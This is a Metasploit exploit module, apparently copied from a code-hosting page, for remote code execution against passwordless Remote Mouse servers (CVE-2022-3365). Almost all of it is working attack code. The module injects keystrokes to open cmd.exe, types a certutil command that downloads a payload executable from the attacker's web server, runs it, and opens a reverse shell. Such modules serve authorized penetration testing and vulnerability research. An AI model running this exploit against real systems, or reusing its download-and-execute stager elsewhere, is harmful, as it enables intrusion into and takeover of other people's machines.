171 lines
6.5 KiB
Ruby
171 lines
6.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Exploit::Remote::Tcp
|
|
include Exploit::EXE # generate_payload_exe
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Remote Mouse RCE',
|
|
'Description' => %q{
|
|
This module utilizes the Remote Mouse Server by Emote Interactive protocol
|
|
to deploy a payload and run it from the server on versions < 4.200 (500 server response).
|
|
This module will only deploy
|
|
a payload if the server is set without a password (default).
|
|
Tested against 4.110, current at the time of module writing
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'0RPHON', # discovery, edb module
|
|
'H4rk3nz0' # poc2
|
|
],
|
|
'References' => [
|
|
[ 'EDB', '46697' ],
|
|
[ 'CVE', '2022-3365' ],
|
|
[ 'URL', 'https://www.remotemouse.net/' ],
|
|
[ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20mouse/remote-mouse-rce.py' ]
|
|
],
|
|
'Arch' => [ ARCH_X64, ARCH_X86 ],
|
|
'Platform' => 'win',
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Targets' => [
|
|
['default', {}],
|
|
],
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/shell/reverse_tcp'
|
|
},
|
|
'DisclosureDate' => '2019-04-15',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS] # typing on screen
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptPort.new('RPORT', [true, 'Port Remote Mouse runs on', 1978]),
|
|
OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),
|
|
OptString.new('PATH', [true, 'Where to stage payload for pull method', 'c:\\Windows\\Temp\\'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def path
|
|
return datastore['PATH'] if datastore['PATH'].end_with? '\\'
|
|
|
|
"#{datastore['PATH']}\\"
|
|
end
|
|
|
|
def key_value(key)
|
|
characters = {
|
|
'A' => '8[ras]116', 'B' => '8[ras]119', 'C' => '8[ras]118', 'D' => '8[ras]113', 'E' => '8[ras]112',
|
|
'F' => '8[ras]115', 'G' => '8[ras]114', 'H' => '8[ras]125', 'I' => '8[ras]124', 'J' => '8[ras]127',
|
|
'K' => '8[ras]126', 'L' => '8[ras]121', 'M' => '8[ras]120', 'N' => '8[ras]123', 'O' => '8[ras]122',
|
|
'P' => '8[ras]101', 'Q' => '8[ras]100', 'R' => '8[ras]103', 'S' => '8[ras]102', 'T' => '7[ras]97',
|
|
'U' => '7[ras]96', 'V' => '7[ras]99', 'W' => '7[ras]98', 'X' => '8[ras]109', 'Y' => '8[ras]108',
|
|
'Z' => '8[ras]111',
|
|
|
|
'a' => '7[ras]84', 'b' => '7[ras]87', 'c' => '7[ras]86', 'd' => '7[ras]81', 'e' => '7[ras]80',
|
|
'f' => '7[ras]83', 'g' => '7[ras]82', 'h' => '7[ras]93', 'i' => '7[ras]92', 'j' => '7[ras]95',
|
|
'k' => '7[ras]94', 'l' => '7[ras]89', 'm' => '7[ras]88', 'n' => '7[ras]91', 'o' => '7[ras]90',
|
|
'p' => '7[ras]69', 'q' => '7[ras]68', 'r' => '7[ras]71', 's' => '7[ras]70', 't' => '7[ras]65',
|
|
'u' => '7[ras]64', 'v' => '7[ras]67', 'w' => '7[ras]66', 'x' => '7[ras]77', 'y' => '7[ras]76',
|
|
'z' => '7[ras]79',
|
|
|
|
'1' => '6[ras]4', '2' => '6[ras]7', '3' => '6[ras]6', '4' => '6[ras]1', '5' => '6[ras]0',
|
|
'6' => '6[ras]3', '7' => '6[ras]2', '8' => '7[ras]13', '9' => '7[ras]12', '0' => '6[ras]5',
|
|
|
|
"\n" => '3RTN', "\b" => '3BAS', ' ' => '7[ras]21',
|
|
|
|
'+' => '7[ras]30', '=' => '6[ras]8', '/' => '7[ras]26', '_' => '8[ras]106', '<' => '6[ras]9',
|
|
'>' => '7[ras]11', '[' => '8[ras]110', ']' => '8[ras]104', '!' => '7[ras]20', '@' => '8[ras]117',
|
|
'#' => '7[ras]22', '$' => '7[ras]17', '%' => '7[ras]16', '^' => '8[ras]107', '&' => '7[ras]19',
|
|
'*' => '7[ras]31', '(' => '7[ras]29', ')' => '7[ras]28', '-' => '7[ras]24', "'" => '7[ras]18',
|
|
'"' => '7[ras]23', ':' => '7[ras]15', ';' => '7[ras]14', '?' => '7[ras]10', '`' => '7[ras]85',
|
|
'~' => '7[ras]75', '\\' => '8[ras]105', '|' => '7[ras]73', '{' => '7[ras]78', '}' => '7[ras]72',
|
|
',' => '7[ras]25', '.' => '7[ras]27'
|
|
}
|
|
"key #{characters[key]}"
|
|
end
|
|
|
|
def windows_key
|
|
'key 3cmd'
|
|
end
|
|
|
|
def check
|
|
connect
|
|
response = sock.get_once
|
|
disconnect
|
|
if response.include?('SIN 15win nop nop')
|
|
splits = response.split(' ')
|
|
return CheckCode::Appears("Received handshake with version: #{splits.last}") if splits.last.to_i < 500
|
|
|
|
return CheckCode::Safe("Received handshake with version: #{splits.last}, which is not exploitable")
|
|
end
|
|
|
|
CheckCode::Unknown('Invalid response from target')
|
|
end
|
|
|
|
def send_command(command)
|
|
if command == windows_key
|
|
sock.put(command)
|
|
elsif (command == "\n") || (command == "\b") # dont split this up
|
|
sock.put(key_value(c))
|
|
else
|
|
command.each_char do |c|
|
|
sock.put(key_value(c))
|
|
end
|
|
sock.put(key_value("\n"))
|
|
end
|
|
sleep(datastore['SLEEP'])
|
|
end
|
|
|
|
def on_request_uri(cli, _req)
|
|
p = generate_payload_exe
|
|
send_response(cli, p)
|
|
print_good("Payload request received, sending #{p.length} bytes of payload for staging")
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
print_status('Connecting')
|
|
print_status('Sending Windows key')
|
|
send_command(windows_key)
|
|
|
|
print_status('Opening command prompt')
|
|
send_command('cmd.exe')
|
|
send_command('') # https://github.com/rapid7/metasploit-framework/pull/17067#discussion_r982670440
|
|
|
|
print_status('Sending stager')
|
|
filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.exe'
|
|
register_file_for_cleanup("#{path}#{filename}")
|
|
# I attempted to put this all in one, stage, run, exit, but it was never successful, so we'll keep it in 2
|
|
stager = "certutil.exe -urlcache -f http://#{datastore['lhost']}:#{datastore['SRVPORT']}/ #{path}#{filename}"
|
|
start_service('Path' => '/') # start webserver
|
|
send_command(stager)
|
|
send_command('') # https://github.com/rapid7/metasploit-framework/pull/17067#discussion_r982670440
|
|
|
|
print_status('Executing payload')
|
|
send_command("#{path}#{filename} && exit")
|
|
send_command('') # https://github.com/rapid7/metasploit-framework/pull/17067#discussion_r982670440
|
|
|
|
handler
|
|
disconnect
|
|
sleep(datastore['SLEEP'] * 2) # give time for it to do its thing before we revert
|
|
end
|
|
end
|